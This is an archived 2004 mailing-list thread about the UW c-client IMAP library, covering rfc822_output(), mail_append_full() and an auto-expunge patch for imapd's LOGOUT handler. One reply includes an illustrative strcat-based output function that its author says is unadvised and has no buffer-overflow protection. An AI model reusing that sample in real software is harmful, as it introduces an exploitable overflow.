(8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIbbaG057192 for ; Fri, 23 Apr 2004 11:37:38 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIbax7010819 for ; Fri, 23 Apr 2004 11:37:36 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id BA5D91E0243 for ; Fri, 23 Apr 2004 13:37:35 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id EE3F51E0247; Fri, 23 Apr 2004 13:37:34 -0500 (CDT) Received: from caymans (adsl-68-94-7-18.dsl.rcsntx.swbell.net [68.94.7.18]) by mail.bynari.net (Postfix) with ESMTP id F3F221E0246 for ; Fri, 23 Apr 2004 13:37:33 -0500 (CDT) Message-Id: Date: Fri, 23 Apr 2004 13:37:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: How to upload a body to a folder? In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> Content-Type: text/plain; format=flowed; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I know there is a mail_append_full() that will upload a message to a folder, but the message has to be formatted into a string. How can I use rfc822_output() or one of the rfc822_* functions to convert the ENVELOPE and BODY into a string with out having to create a SMTP stream? Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 23 11:55:14 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Apr 2004 11:55:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NItE80001420 for ; Fri, 23 Apr 2004 11:55:14 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NItCQR008338 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Apr 2004 11:55:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3NIs2m5017564; Fri, 23 Apr 2004 11:54:02 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIrDoU103514 for ; Fri, 23 Apr 2004 11:53:13 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIrCwn018782 for ; Fri, 23 Apr 2004 11:53:12 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIrBTF001478; Fri, 23 Apr 2004 11:53:11 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIrBZ8007866; Fri, 23 Apr 2004 11:53:11 -0700 Message-Id: Date: Fri, 23 Apr 2004 11:53:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to upload a body to a folder? In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 23 Apr 2004, Shawn Walker wrote: > How can I use rfc822_output() or one of the rfc822_* functions to convert the > ENVELOPE and BODY into a string with out having to create a SMTP stream? You need to define a soutr_t function that will add a null-terminated string to an output stream. To show you the concept, here is a sample function (I don't advise actually doing this) long mysoutr (void *stream,char *s) { return *s ? (long) strcat ((char *) stream,s) : LONGT; } You can then do something like: rfc822_output (tmphdrbuf,env,body,mysoutr,(void *) msgbuf,NIL); Note that tmphdrbuf has to be a large enough bigbuf to hold the entire header and msgbuf has to be a large enough bigbuf to hold the entire message. There's no protection against buffer overflow here. To avoid buffer overflow, a more sophisticated application would probably write to a tmpfile instead, and define a rfc822out_t function as well so as to avoid the call to rfc822_header() (and do rfc822_header()'s work manually). Then do rfc822_encode_body_[78]bit() followed by rfc822_output_body(). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 23 11:59:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Apr 2004 11:59:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIxXl4001564 for ; Fri, 23 Apr 2004 11:59:33 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIxWct008531 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Apr 2004 11:59:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3NIwiLd012132; Fri, 23 Apr 2004 11:58:44 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIw5qm070732 for ; Fri, 23 Apr 2004 11:58:05 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIw4E4003849 for ; Fri, 23 Apr 2004 11:58:04 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIw3Nb027003; Fri, 23 Apr 2004 11:58:03 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NIw34H008004; Fri, 23 Apr 2004 11:58:03 -0700 Message-Id: Date: Fri, 23 Apr 2004 11:58:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to upload a body to a folder? In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 23 Apr 2004, Shawn Walker wrote: > I know there is a mail_append_full() that will upload a message to a folder, > but the message has to be formatted into a string. Now...as far as mail_append_full() arguments goes, note that it is not a char*, but rather a stringstruct. That means that you provide functions which supply the data on demand. So, you can build individual pieces of the message on the fly as needed by the stringdriver. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 23 12:04:09 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Apr 2004 12:04:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NJ497n001885 for ; Fri, 23 Apr 2004 12:04:09 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NJ47QY008795 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Apr 2004 12:04:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3NJ31DF017852; Fri, 23 Apr 2004 12:03:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NJ2Nrn103594 for ; Fri, 23 Apr 2004 12:02:23 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3NJ2MRV008693 for ; Fri, 23 Apr 2004 12:02:22 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id D38F11E01F5 for ; Fri, 23 Apr 2004 14:02:17 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 69FAE1E023C; Fri, 23 Apr 2004 14:02:17 -0500 (CDT) Received: from caymans (adsl-68-94-7-18.dsl.rcsntx.swbell.net [68.94.7.18]) by mail.bynari.net (Postfix) with ESMTP id 1C7721E01F5 for ; Fri, 23 Apr 2004 14:02:16 -0500 (CDT) Message-Id: Date: Fri, 23 Apr 2004 14:02:15 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: Re: How to upload a body to a folder? In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> Content-Type: text/plain; format=flowed; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 23 Apr 2004 11:58:03 -0700 (PDT), Mark Crispin wrote: > On Fri, 23 Apr 2004, Shawn Walker wrote: >> I know there is a mail_append_full() that will upload a message to a >> folder, but the message has to be formatted into a string. > > Now...as far as mail_append_full() arguments goes, note that it is not a > char*, but rather a stringstruct. That means that you provide functions > which supply the data on demand. So, you can build individual pieces of > the message on the fly as needed by the stringdriver. > I rather have c-client deal with all the ENVELOPE and BODY that contains everything about the message that has everything about the message I want to upload (attachments and embedded messages) and that I don't need to worry about trying to construct the message myself. From pinedev@shivax2.cac.washington.edu Sat May 1 21:04:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 1 May 2004 21:04:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4244ttm026150 for ; Sat, 1 May 2004 21:04:55 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4244rZN008061 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 1 May 2004 21:04:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4244bSU013200; Sat, 1 May 2004 21:04:37 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4242oLG123110 for ; Sat, 1 May 2004 21:02:50 -0700 Received: from operator.net-tech.us (rrcs-sw-24-153-185-242.biz.rr.com [24.153.185.242]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4242miA006211 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 1 May 2004 21:02:49 -0700 Received: from testdomino ([192.168.30.150]) by operator.net-tech.us (8.12.8/linuxconf) with SMTP id i4249lWV023617 for ; Sat, 1 May 2004 22:09:47 -0600 Message-Id: <001501c43002$9ec3dac0$961ea8c0@testdomino> Date: Sat, 1 May 2004 22:02:08 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scott Phillips" To: Subject: server initiated auto-purge? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01C42FC7.F2233ED0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-net-tech.us-MailScanner-Information: Please contact the ISP for more information X-net-tech.us-MailScanner: Found to be clean X-net-tech.us-MailScanner-SpamScore: s X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, HTML_50_70 0.092, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __HAS_MSGID 0, __OUTLOOK_MSGID_1 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C42FC7.F2233ED0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello. I'm sure this question has been answered a 1000 times, but I have searched everywhere and can't find the answer. Forgive me for my noobishness. Anyway, I run three IMAP servers with a couple hundred accounts each. The powers that be have insisted that we standardize on Outlook 2000. =20 The problem is that when users delete an email it naturally flags it for deletion rather than deleting it directly (duh). This of course has led to some rather large mailstores. In outlook express, this wasn't a problem as you could perform expunge when the user changed folders. However Outlook does not have this feature. Given that my users go nuts if they lose thier word and excel desktop shortcuts, I'm not going to be able to show them how to hit the expung button in outlook each time before they logout. So, is there a way that I can have the server perform an auto-expunge? Or could I write a script to connect to server and expunge messages as a specific user? Thanks. Scott. ------=_NextPart_000_0012_01C42FC7.F2233ED0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     
    Hello.
     
    I'm sure this question has been = answered a 1000=20 times, but I have
    searched everywhere and can't find the=20 answer.  Forgive me for my
    noobishness.
     
    Anyway, I run three IMAP servers with a = couple=20 hundred accounts each.
    The powers that be have insisted that = we=20 standardize on Outlook 2000. 
     
    The problem is that when users delete = an email it=20 naturally flags it
    for deletion rather than deleting it = directly=20 (duh).  This of course has
    led to some rather large = mailstores.  In=20 outlook express, this wasn't
    a problem as you could = perform expunge when=20 the user changed folders.
    However Outlook does not have this=20 feature.
     
    Given that my users go nuts if they = lose thier word=20 and excel
    desktop shortcuts, I'm not going to be = able to show=20 them how to
    hit the expung button in outlook each = time before=20 they logout.
     
    So, is there a way that I can have the = server=20 perform an auto-expunge?
    Or could I write a script to connect to = server=20 and
    expunge messages as a specific = user?
     
    Thanks.
    Scott.
    ------=_NextPart_000_0012_01C42FC7.F2233ED0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun May 2 12:19:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 May 2004 12:19:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JJiQM030912 for ; Sun, 2 May 2004 12:19:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JJepC004682 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 May 2004 12:19:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i42JID8a005256; Sun, 2 May 2004 12:18:14 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JGlpg033358 for ; Sun, 2 May 2004 12:16:47 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JGk7u008245 for ; Sun, 2 May 2004 12:16:46 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JGjRQ009248; Sun, 2 May 2004 12:16:45 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42JGjp3017660; Sun, 2 May 2004 12:16:45 -0700 Message-Id: Date: Sun, 2 May 2004 12:16:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Scott Phillips Cc: c-client@u.washington.edu Subject: Re: server initiated auto-purge? In-Reply-To: <001501c43002$9ec3dac0$961ea8c0@testdomino> References: <001501c43002$9ec3dac0$961ea8c0@testdomino> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Most clients have an "expunge when quitting" option. Perhaps Outlook has such an option. If it doesn't, well...it's one more reason not to use Outlook. It isn't *architectually* offensive for an expunge to be implicitly performed as a result of logging out. In fact, that is how POP works. Nothing in the IMAP standard prohibits a server from doing this. However, the world has evolved in a way that many users would be quite unhappy if an expunge is ever implicitly performed by a server, even at LOGOUT time. Most users want client control over expunging. I don't know of any server which offers this as a feature. Thus, you would have to implement it yourself. The simplest thing, if you are using UW imapd (as you seem to be), would be to change the mail_close() call in the LOGOUT handling code, e.g. change: else if (!strcmp (cmd,"LOGOUT")) { if (arg) response = badarg; else { /* time to say farewell */ server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); if (lastsel) fs_give ((void **) &lastsel); if (state == OPEN) stream = mail_close (stream); to something like else if (!strcmp (cmd,"LOGOUT")) { if (arg) response = badarg; else { /* time to say farewell */ server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); if (lastsel) fs_give ((void **) &lastsel); /* auto-expunge at LOGOUT time */ if (state == OPEN) stream = mail_close_full (stream,CL_EXPUNGE); I'm of two minds on this question. I don't think that a user should delete a message if he is unwilling to face the possibility of an expunge happening. But I also understand why users may want to logout without expunging. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun May 2 13:19:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 May 2004 13:19:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42KJWWS000554 for ; Sun, 2 May 2004 13:19:32 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42KJU7e006572 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 May 2004 13:19:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i42KI7wL015820; Sun, 2 May 2004 13:18:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42KH2Qj117998 for ; Sun, 2 May 2004 13:17:02 -0700 Received: from operator.net-tech.us (rrcs-sw-24-153-185-242.biz.rr.com [24.153.185.242]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i42KH0cq002361 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 May 2004 13:17:01 -0700 Received: from testdomino ([192.168.30.150]) by operator.net-tech.us (8.12.8/linuxconf) with SMTP id i42KO2WV014556 for ; Sun, 2 May 2004 14:24:02 -0600 Message-Id: <002501c4308a$b6b76970$961ea8c0@testdomino> Date: Sun, 2 May 2004 14:16:19 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scott Phillips" To: Subject: Re: server initiated auto-purge? References: <001501c43002$9ec3dac0$961ea8c0@testdomino> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-net-tech.us-MailScanner-Information: Please contact the ISP for more information X-net-tech.us-MailScanner: Found to be clean X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ----- Original Message ----- From: "Mark Crispin" To: "Scott Phillips" Cc: Sent: Sunday, May 02, 2004 12:16 PM Subject: Re: server initiated auto-purge? > Most clients have an "expunge when quitting" option. Perhaps Outlook has > such an option. If it doesn't, well...it's one more reason not to use > Outlook. > > It isn't *architectually* offensive for an expunge to be implicitly > performed as a result of logging out. In fact, that is how POP works. > Nothing in the IMAP standard prohibits a server from doing this. > > However, the world has evolved in a way that many users would be quite > unhappy if an expunge is ever implicitly performed by a server, even at > LOGOUT time. Most users want client control over expunging. > > I don't know of any server which offers this as a feature. Thus, you > would have to implement it yourself. > > The simplest thing, if you are using UW imapd (as you seem to be), would > be to change the mail_close() call in the LOGOUT handling code, e.g. > change: > else if (!strcmp (cmd,"LOGOUT")) { > if (arg) response = badarg; > else { /* time to say farewell */ > server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); > if (lastsel) fs_give ((void **) &lastsel); > if (state == OPEN) stream = mail_close (stream); > to something like > else if (!strcmp (cmd,"LOGOUT")) { > if (arg) response = badarg; > else { /* time to say farewell */ > server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); > if (lastsel) fs_give ((void **) &lastsel); > /* auto-expunge at LOGOUT time */ > if (state == OPEN) stream = mail_close_full (stream,CL_EXPUNGE); > > I'm of two minds on this question. I don't think that a user should > delete a message if he is unwilling to face the possibility of an expunge > happening. But I also understand why users may want to logout without > expunging. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Tue May 4 15:01:54 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 May 2004 15:01:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44M1sYP030235 for ; Tue, 4 May 2004 15:01:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44M1rFv015791 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 4 May 2004 15:01:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i44M0PxB016650; Tue, 4 May 2004 15:00:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44LvRpJ026058 for ; Tue, 4 May 2004 14:57:27 -0700 Received: from envelope.rose-hulman.edu (envelope.rose-hulman.edu [137.112.8.21]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44LvPf4022158 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 4 May 2004 14:57:26 -0700 Received: from babylon5.rose-hulman.edu (babylon5.rose-hulman.edu [137.112.0.66]) (authenticated (0 bits)) by envelope.rose-hulman.edu (8.11.6/8.11.6) with ESMTP id i44LvM406721 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO) for ; Tue, 4 May 2004 16:57:24 -0500 (EST) Message-Id: <1083707841.4088.65.camel@babylon5.rose-hulman.edu> Date: Tue, 04 May 2004 16:57:22 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mitchell D. Baker" To: c-client@u.washington.edu Subject: lots of disconnects.... Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, 